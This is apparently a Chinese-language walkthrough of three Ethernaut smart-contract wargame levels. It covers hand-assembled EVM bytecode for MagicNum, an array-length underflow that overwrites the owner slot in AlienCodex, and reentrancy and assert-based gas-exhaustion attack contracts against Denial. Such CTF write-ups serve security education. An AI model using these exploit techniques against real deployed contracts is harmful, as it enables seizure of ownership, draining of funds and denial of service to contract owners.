目标:使用 10 个操作码输出 42
pragma solidity ^0.4.24;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
原理:https://hitcxy.com/2019/ethernaut/ 太强了!
在合约创建的时候,用户或合约将交易发送到以太坊网络,没有参数 to,表示这是个合约创建而不是一个交易
EVM 把 solidity 代码编译为 字节码,字节码直接转换成 opcodes 运行
字节码包含两部分:initialization code 和 runtime code ,一开始合约创建的时候 EVM 只执行 initialization code,遇到第一个 stop 或者 return 的时候合约的构造函数就运行了,此时合约便有了地址
想要做这道题要构造这两段代码 initialization code 和 runtime code,initialization code 是由 EVM 创建并且存储需要用的 runtime code 的,所以首先来看 runtime code,想要返回 42,需要用 return(p,s) 但是在返回值前先要把值存储到内存中 mstore(p, v)
首先,用 mstore(p,v) 把 42 存储到内存中,v 是 42 的十六进制值 0x2a,p 是内存中的位置,push 的字节码是 0x60
0x602a ;PUSH1 0x2a v
0x6080 ;PUSH1 0x80 p
0x52 ;MSTORE
然后,用 return(p,s) 返回 42,p 是存储的位置,s 是存储所占的大小不明白为啥是 0x20
0x6020 ;PUSH1 0x20 s
0x6080 ;PUSH1 0x80 p
0xf3 ;RETURN
所以整个 runtime code 是 0x602a60805260206080f3
再来看 initialization code,首先 initialization code 要把 runtime code 拷贝到内训,然后再返回给 EVM
将代码从一个地方复制到一个地方的方法是 codecopy(t, f, s)。t 是目标位置,f 是当前位置,s 是代码大小(单位:字节),之前我们的代码大小为 10 字节
;copy bytecode to memory
0x600a ;PUSH1 0x0a S(runtime code size)
0x60?? ;PUSH1 0x?? F(current position of runtime opcodes)
0x6000 ;PUSH1 0x00 T(destination memory index 0)
0x39 ;CODECOPY
然后,将内存中的 runtime codes 返回到 EVM
;return code from memory to EVM
0x600a ;PUSH1 0x0a S
0x6000 ;PUSH1 0x00 P
0xf3 ;RETURN
initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c
所以,initialization codes 最后的顺序是 600a600c600039600a6000f3
两个拼起来,得到字节码是:
0x600a600c600039600a6000f3602a60805260206080f3
var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)});
然后去刚才交易的详情去看一下
拿到新的合约地址之后 await contract.setSolver("合约地址"),然后就通关了
目标:拿到合约所有权
pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
bool public contact;//布尔型变量contact
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;//函数修饰符,要通过contact必须要是true
}
function make_contact(bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);//要求数组的长度必须是大于2的200次方
contact = true;
}//可以通过这个函数,使得contact变为true
function record(bytes32 _content) contacted public {
codex.push(_content);
}//增加数组长度
function retract() contacted public {
codex.length--;
}//减少数组长度
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}//修改数组里的内容
}
由于 EVM 存储优化的关系,在 slot [0] 中同时存储了 contact 和 owner,所以我们要做的就是将 owner 变量覆盖为自己账户地址
所有函数都有 contacted 限制,所以必须要先通过 make_contact 把 contact 改成 true
make_contact() 函数只验证传入数组的长度。OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第0x20位开始,上面是32字节
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
之后通过调用 retract(),使得 codex 数组长度下溢。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
await contract.retract()
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
再来看一下 codex 的位置:
我们要修改 slot 0 对应的 codex[?]
codex[X] == SLOAD(keccak256(slot) + X)
X 就是我们传入的那一个下标,是我们可控的,我们改成 2^256 - keccak256(slot) 这样实际上就是 2^256,总共有 2^256 个 slot,我们去找的就是 slot 2^256 也就是 slot 0
codex 的 slot 是 1,所以我们用下面的方法去计算一下
pragma solidity ^0.4.18;
contract test {
function go() view returns(bytes32){
return keccak256((bytes32(1)));
}
}
2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938
所以我们把 codex 的下标改成这个之后实际修改的就是 slot 0 的地址
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001改成player的地址')
目标:造成 DOS 使得合约的 owner 在调用 withdraw 时无法正常提取资产
pragma solidity ^0.4.24;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner;
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
function() payable {}
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
可以使用重入攻击的方法,把钱全部转走 exp:
pragma solidity ^0.4.23;
contract Denial {
address public partner;
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
function withdraw() public {
uint amountToSend = address(this).balance/100;
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
function() payable {}
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract Attack{
address instance_address = 题目合约地址;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
target.withdraw();
}
}
部署,点击 hack 然后提交就可以啦
还有一种方法是 assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了
pragma solidity ^0.4.23;
contract Denial {
address public partner;
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
function withdraw() public {
uint amountToSend = address(this).balance/100;
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
function() payable {}
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract Attack{
address instance_address = 题目合约地址;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(0==1);
}
}